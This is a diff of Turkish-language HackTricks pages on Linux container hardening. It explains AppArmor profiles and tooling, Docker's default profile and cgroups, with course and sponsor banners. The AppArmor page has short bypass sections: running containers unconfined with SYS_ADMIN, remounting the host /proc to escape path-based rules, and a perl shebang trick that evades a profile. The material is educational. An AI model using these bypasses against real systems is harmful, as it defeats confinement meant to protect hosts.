Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# AppArmor
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman yapmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **şirketin veya müşterilerinin** **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini kontrol etmek için ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
@ -30,7 +31,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
## Temel Bilgiler
AppArmor, **programlara sağlanan kaynakları kısıtlamak için tasarlanmış bir çekirdek geliştirmesidir**, etkin bir şekilde Zorunlu Erişim Kontrolü (MAC) uygulayarak erişim kontrol özelliklerini doğrudan kullanıcılara değil programlara bağlayarak çalışır. Bu sistem, genellikle önyükleme sırasında profilleri çekirdeğe **yükleyerek** çalışır ve bu profiller bir programın erişebileceği kaynakları belirler, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi.
AppArmor, **programlara program profilleri aracılığıyla sunulan kaynakları kısıtlamayı amaçlayan bir çekirdek geliştirmesidir**, erişim kontrol özelliklerini doğrudan kullanıcılara değil programlara bağlayarak Zorunlu Erişim Kontrolü (MAC) uygulamaktadır. Bu sistem, genellikle önyükleme sırasında, profilleri çekirdeğe yükleyerek çalışır ve bu profiller bir programın erişebileceği kaynakları belirler, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi.
AppArmor profilleri için iki işletim modu bulunmaktadır:
@ -41,13 +42,13 @@ AppArmor profilleri için iki işletim modu bulunmaktadır:
* **Çekirdek Modülü**: Politikaların uygulanmasından sorumludur.
* **Politikalar**: Program davranışı ve kaynak erişimi için kuralları ve kısıtlamaları belirtir.
* **Ayrıştırıcı**: Politikaları çekirdeğe yükleme veya raporlama işlevini yerine getirir.
* **Ayrıştırıcı**: Politikaları çekirdeğe yükler ve uygular veya raporlar.
* **Araçlar**: AppArmor ile etkileşimde bulunmak ve yönetmek için bir arayüz sağlayan kullanıcı modu programlarıdır.
### Profil Yolu
Apparmor profilleri genellikle _**/etc/apparmor.d/**_ klasöründe saklanır\
`sudo aa-status` komutuyla kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir noktaya değiştirirseniz, bahsedilen klasördeki apparmor profilinin adını elde edersiniz.
Apparmor profilleri genellikle _**/etc/apparmor.d/**_ dizininde saklanır.\
`sudo aa-status` komutu ile bazı profiller tarafından kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir noktaya değiştirirseniz, bahsedilen klasördeki apparmor profilinin adını elde edersiniz.
Örneğin, _/usr/bin/man_ için bir **apparmor** profili _/etc/apparmor.d/usr.bin.man_ konumunda olacaktır.
@ -67,19 +68,19 @@ aa-mergeprof #used to merge the policies
* **Dosyalar** üzerinde yürütülecek erişimi belirtmek için aşağıdaki **erişim kontrolleri** kullanılabilir:
* **r** (okuma)
* **w** (yazma)
* **m** (belleğe eşleme olarak yürütme)
* **m** (bellek haritası olarak yürütme)
* **k** (dosya kilitleme)
* **l** (sert bağlantı oluşturma)
* **ix** (yeni programın politikayı devralarak başka bir programı yürütmesi için)
* **Px** (ortamı temizledikten sonra başka bir profil altında yürütme)
* **Cx** (ortamı temizledikten sonra başka bir alt profil altında yürütme)
* **Ux** (ortamı temizledikten sonra kısıtsız yürütme)
* **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak yürütme)
* **Değişkenler** profillerde tanımlanabilir ve profilden dışarıdan manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \<tunables/global> ekleyin)
* **İzin verme kurallarını geçersiz kılmak için reddetme kuralları desteklenir**.
### aa-genprof
Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir binary tarafından gerçekleştirilen eylemleri incelemesine ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanımasına** yardımcı olabilir.\
Profil oluşturmaya kolayca başlamak için apparmor size yardımcı olabilir. **Bir yürütülebilir tarafından gerçekleştirilen eylemleri incelemesine ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanır**.\
Sadece şunu çalıştırmanız yeterlidir:
```bash
sudo aa-genprof /path/to/binary
@ -88,15 +89,15 @@ Ardından, farklı bir konsolda genellikle ikili dosyanın gerçekleştireceği
```bash
/path/to/binary -a dosomething
```
Ardından, ilk konsolda "**s**" tuşuna basın ve ardından kaydedilen eylemlerde ihmal etmek isteyip istemediğinizi, izin vermek isteyip istemediğinizi veya başka bir şey yapmak isteyip istemediğinizi belirtin. İşiniz bittiğinde "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ dizininde oluşturulacaktır.
Ardından, ilk konsolda "**s**" tuşuna basın ve kaydedilen eylemlerde ihmal etmek, izin vermek veya ne yapmak istediğinizi belirtin. İşlemi tamamladığınızda "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ dizininde oluşturulacaktır.
{% hint style="info" %}
Yön tuşları kullanarak neyi izin vermek/engellemek/ihmal etmek istediğinizi seçebilirsiniz.
Yön tuşları kullanarak izin vermek/engellemek/ne yapmak istediğinizi seçebilirsiniz.
{% endhint %}
### aa-easyprof
Ayrıca bir uygulamanın apparmor profil şablonunu oluşturabilirsiniz:
Ayrıca, bir uygulamanın apparmor profil şablonunu oluşturabilirsiniz:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -125,18 +126,18 @@ sudo aa-easyprof /path/to/binary
Varsayılan olarak oluşturulan bir profilde hiçbir şey izin verilmez, bu nedenle her şey reddedilir. Örneğin, örneğin `/etc/passwd r,` gibi satırlar eklemeniz gerekecektir.
{% endhint %}
Yeni profili ardından şu şekilde **zorlayabilirsiniz**:
Yeni profilinizi ardından şu şekilde **zorlayabilirsiniz**:
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Günlüklerden bir profil değiştirme
Aşağıdaki araç, günlükleri okuyacak ve kullanıcıya tespit edilen yasak eylemlerin bazılarını izin verip vermek istemediğini soracaktır:
Aşağıdaki araç, günlükleri okuyacak ve kullanıcıya tespit edilen bazı yasaklanmış eylemlerin izin verilip verilmediğini sormak için soracak:
```bash
sudo aa-logprof
```
{% hint style="info" %}
Ok tuşları kullanarak neyi izin vermek/engellemek/neyi olursa olsun seçebilirsiniz
Ok tuşları kullanarak neyi izin vermek/engellemek/neyi yapmak istediğinizi seçebilirsiniz
{% endhint %}
### Profil Yönetimi
@ -174,7 +175,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Docker'da Apparmor
Docker'ın **docker-profile** profili varsayılan olarak yüklendiğine dikkat edin:
Docker'ın **docker-profile** profili varsayılan olarak nasıl yüklendiğine dikkat edin:
```bash
sudo aa-status
apparmor module is loaded.
@ -190,15 +191,15 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Varsayılan olarak **Apparmor docker-default profil** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur.
Varsayılan olarak **Apparmor docker-default profil**i [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur.
**docker-default profil Özeti**:
- Tüm **ağa erişim**
- **Yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel kural içeren temel kural dosyalarını içerir #include \<abstractions/base> )
- **Yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel kural dosyalarını içererek gelecektir, yani #include \<abstractions/base>)
- Herhangi bir **/proc** dosyasına **yazma izni yok**
- Diğer /**proc** ve /**sys** alt dizinleri/**dosyaları** okuma/yazma/kilitleme/bağlantı/çalıştırma erişimi **reddedilmiştir**
- **Bağlama** izni yok
- Diğer /**proc** ve /**sys** alt dizinleri/**dosyaları** okuma/yazma/kilitleme/bağlantı/çalıştırma erişimine **izin verilmez**
- **Bağlama** izni **yok**
- **Ptrace** yalnızca **aynı apparmor profil**i tarafından sınırlanmış bir işlemde çalıştırılabilir
Bir **docker konteyneri çalıştırdıktan** sonra aşağıdaki çıktıyı görmelisiniz:
@ -212,11 +213,11 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
Apparmor kısıtlamalarını atlamak için **apparmor'ı devre dışı bırakmanız** gerekmektedir:
Apparmor kısıtlamalarını atlamak için **apparmor'u devre dışı bırakmanız** gerekmektedir:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Varsayılan olarak **AppArmor** konteynerin içinden klasörleri bağlamasını da **yasaklayacaktır** SYS\_ADMIN yeteneği olsa bile.
Varsayılan olarak **AppArmor'ın**, **konteynerin içinden klasör bağlamasını yasaklayacağını** unutmayın, hatta SYS_ADMIN yeteneği ile bile.
Docker konteynerine **yetenekler ekleyebilir/çıkarabilirsiniz** (bu hala **AppArmor** ve **Seccomp** gibi koruma yöntemleri tarafından kısıtlanacaktır):
@ -225,7 +226,7 @@ Docker konteynerine **yetenekler ekleyebilir/çıkarabilirsiniz** (bu hala **App
* `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetenekleri kaldırır ve sadece `SYS_PTRACE` yeteneğini verir
{% hint style="info" %}
Genellikle, bir **docker** konteynerinin **içinde** bir **ayrıcalıklı yeteneğin** bulunduğunu **fark ettiğinizde** ve **saldırının bazı kısımlarının çalışmadığını gördüğünüzde**, bunun nedeni docker **apparmor'ın bunu engelliyor olması** olabilir.
Genellikle, bir **docker** konteyneri **içinde** bir **açık yeteneğin** bulunduğunu **fark ettiğinizde** ve **saldırının bazı kısımlarının çalışmadığını gördüğünüzde**, bunun nedeni docker **apparmor'ın bunu engelliyor olması** olacaktır.
{% endhint %}
### Örnek
@ -245,28 +246,30 @@ Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki kom
$ sudo apparmor_status | grep mydocker
mydocker
```
Aşağıda gösterildiği gibi, "AppArmor" profili "/etc/" dizinine yazma erişimini engellediği için " /etc/" dizinini değiştirmeye çalıştığımızda hata alırız.
Aşağıda gösterildiği gibi, "AppArmor" profili "/etc/" dizinine yazma erişimini engellediği için "/etc/" dizinini değiştirmeye çalıştığımızda hata alırız.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
Bir konteynerin çalıştırdığı **apparmor profilini** şu şekilde bulabilirsiniz:
Bir konteynerin çalıştırdığı **apparmor profilini** bulmak için şunu kullanabilirsiniz:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Ardından, kullanılan tam profilini bulmak için aşağıdaki satırı çalıştırabilirsiniz:
Ardından, kullanılan tam profil **bulmak için aşağıdaki komutu çalıştırabilirsiniz**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
### AppArmor Docker Bypass2
Eğer **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirseniz** tuhaf bir durumda. Kısıtlamaları kaldırabilir ve onları "atlayabilirsiniz".
**AppArmor, yol tabanlıdır**, bu da demektir ki eğer **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirseniz.** Kısıtlamaları kaldırabilir ve onları "atlayabilirsiniz."
### AppArmor Docker Atlatma2
### AppArmor Shebang Bypass
**AppArmor yol tabanlıdır**, bu da demektir ki eğer **`/proc`** gibi bir dizin içindeki dosyaları koruyorsa bile, **konteynerin nasıl çalıştırılacağını yapılandırabilirseniz**, ana bilgisayarın proc dizinini **`/host/proc`** içine bağlayabilir ve bu artık AppArmor tarafından korunmaz.
### AppArmor Shebang Atlatma
Bu [**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431)da, **belirli kaynaklarla perl'in çalışmasını engelliyorsanız bile**, sadece bir kabuk betiği oluşturursanız ve ilk satırda **`#!/usr/bin/perl`** belirtirseniz ve dosyayı doğrudan **çalıştırırsanız**, istediğinizi çalıştırabilirsiniz. Örn.:
```perl
@ -284,22 +287,23 @@ chmod +x /tmp/test.pl
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılım saldırılarıyla mücadele etmektir.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# CGroups
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'ı Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
**Linux Kontrol Grupları**, veya **cgroups**, Linux çekirdeğinin bir özelliğidir ve CPU, bellek ve disk G/Ç gibi sistem kaynaklarının süreç grupları arasında tahsisini, sınırlamasını ve önceliklendirmesini sağlar. **Süreç koleksiyonlarının kaynak kullanımını yönetme ve izole etme** mekanizması sunar, kaynak sınırlaması, iş yükü izolasyonu ve farklı süreç grupları arasında kaynak önceliklendirmesi gibi amaçlar için faydalıdır.
**Cgroups'ın iki sürümü** bulunmaktadır: sürüm 1 ve sürüm 2. Her ikisi de aynı anda bir sistemde kullanılabilir. Temel fark, **cgroups sürüm 2**'nin daha ayrıntılı ve detaylı kaynak dağıtımını sağlayan **hiyerarşik, ağaç benzeri bir yapı** getirmesidir. Ayrıca, sürüm 2, şunları içeren çeşitli iyileştirmeler getirir:
**Cgroups'ın iki versiyonu** bulunmaktadır: versiyon 1 ve versiyon 2. Her ikisi de aynı anda bir sistemde kullanılabilir. Temel fark, **cgroups versiyon 2**'nin **hiyerarşik, ağaç benzeri bir yapı** getirmesidir, süreç grupları arasında daha nüanslı ve detaylı kaynak dağıtımını sağlar. Ayrıca, versiyon 2, şunları içeren çeşitli iyileştirmeler getirir:
Yeni hiyerarşik organizasyonun yanı sıra, cgroups sürüm 2 ayrıca **birkaç diğer değişiklik ve iyileştirmeyi** de tanıttı, yeni kaynak denetleyicileri desteği, eski uygulamalar için daha iyi destek ve geliştirilmiş performans.
Yeni hiyerarşik organizasyonun yanı sıra, cgroups versiyon 2 ayrıca **birkaç diğer değişiklik ve iyileştirmeyi** de tanıttı, yeni kaynak denetleyicilerini destekleme, eski uygulamalar için daha iyi destek ve geliştirilmiş performans dahil.
Genel olarak, cgroups **sürüm 2, sürüm 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluk endişesi varsa sürüm 1 hala belirli senaryolarda kullanılabilir.
Genel olarak, cgroups **versiyon 2, versiyon 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluk endişesi varsa hala versiyon 1 kullanılabilir.
Herhangi bir sürecin v1 ve v2 cgroups'larını görmek için /proc/\<pid> dizinindeki cgroup dosyasına bakarak listeleyebilirsiniz. Kendi kabuğunuzun cgroups'larını bu komutla görebilirsiniz:
Herhangi bir sürecin v1 ve v2 cgroups'larını görmek için /proc/\<pid> dizinindeki cgroup dosyasına bakarak listeyebilirsiniz. Kabuğunuzun cgroups'larını görmek için bu komutu kullanarak başlayabilirsiniz:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -39,29 +40,29 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
* **Sayılar 2-12**: cgroups v1'i temsil eder, her bir satır farklı bir cgroup'u belirtir. Bu denetleyiciler yan yana belirtilir.
* **Sayı 1**: Ayrıca cgroups v1'i temsil eder, ancak yalnızca yönetim amaçları için (örneğin, systemd tarafından belirlenir) ve bir denetleyiciye sahip değildir.
* **Sayılar 2-12**: cgroups v1'i temsil eder, her satır farklı bir cgroup'u belirtir. Bu denetleyiciler sayıların yanında belirtilir.
* **Sayı 1**: Ayrıca cgroups v1'i temsil eder, ancak yalnızca yönetim amaçlıdır (örneğin, systemd tarafından belirlenir) ve bir denetleyici içermez.
* **Sayı 0**: cgroups v2'yi temsil eder. Denetleyiciler listelenmez ve bu satır yalnızca cgroups v2 çalıştıran sistemlerde bulunur.
* **İsimler hiyerarşiktir**, dosya yollarını andırır ve farklı cgroup'lar arasındaki yapı ve ilişkiyi gösterir.
* **İsimler hiyerarşiktir**, dosya yollarını andırır ve farklı cgroup'lar arasındaki yapıyı ve ilişkiyi gösterir.
* **/user.slice veya /system.slice** gibi isimler, cgroup'ların kategorizasyonunu belirtir; user.slice genellikle systemd tarafından yönetilen oturumlar için ve system.slice sistem hizmetleri için kullanılır.
### cgroup'ları Görüntüleme
### Cgroup'ları Görüntüleme
Dosya sistemi genellikle **cgroup'lere** erişmek için kullanılır ve geleneksel olarak çekirdek etkileşimleri için kullanılan Unix sistem çağrı arayüzünden ayrılır. Bir kabuğun cgroup yapılandırmasını incelemek için, bir kişinin **/proc/self/cgroup** dosyasına bakması gerekir, bu dosya kabuğun cgroup'unu ortaya çıkarır. Ardından, **/sys/fs/cgroup** (veya **`/sys/fs/cgroup/unified`**) dizinine giderek cgroup'un adını paylaşan bir dizini bulabilir ve cgroup'a ilişkin çeşitli ayarları ve kaynak kullanımı bilgilerini gözlemleyebilirsiniz.
Dosya sistemi genellikle **cgroup'lara** erişmek için kullanılır ve geleneksel olarak çekirdek etkileşimleri için kullanılan Unix sistem çağrı arayüzünden farklıdır. Bir kabuğun cgroup yapılandırmasını incelemek için, bir kişinin kabuğunun cgroup'unu ortaya koyan **/proc/self/cgroup** dosyasına bakılmalıdır. Ardından, **/sys/fs/cgroup** (veya **`/sys/fs/cgroup/unified`**) dizinine gidilerek, cgroup'un adını paylaşan bir dizin bulunarak, cgroup'a ilişkin çeşitli ayarları ve kaynak kullanımı bilgilerini gözlemlemek mümkündür.
![Cgroup Dosya Sistemi](<../../../.gitbook/assets/image (1128).png>)
cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. Standart komutlar gibi görüntülenebilen **cgroup.procs** dosyası, cgroup içindeki işlemleri listeler. Başka bir dosya olan **cgroup.threads**, iş parçacığı bilgilerini içerir.
Cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. Standart komutlar gibi görüntülenebilen **cgroup.procs** dosyası, cgroup içindeki işlemleri listeler. Başka bir dosya olan **cgroup.threads**, iş parçacığı bilgilerini içerir.
![Cgroup Procs](<../../../.gitbook/assets/image (281).png>)
Kabukları yöneten cgroup'lar genellikle bellek kullanımını ve işlem sayısını düzenleyen iki denetleyiciyi kapsar. Bir denetleyiciyle etkileşim kurmak için, denetleyicinin ön ekini taşıyan dosyalar incelenmelidir. Örneğin, **pids.current** ifadesi, cgroup içindeki iş parçacığı sayısını belirlemek için başvurulabilir.
Kabukları yöneten cgroup'lar genellikle bellek kullanımını ve işlem sayısını düzenleyen iki denetleyiciyi kapsar. Bir denetleyici ile etkileşime geçmek için, denetleyicinin ön ekini taşıyan dosyalar incelenmelidir. Örneğin, **pids.current** ifadesi, cgroup içindeki iş parçacığı sayısını belirlemek için başvurulabilir.
![Cgroup Bellek](<../../../.gitbook/assets/image (677).png>)
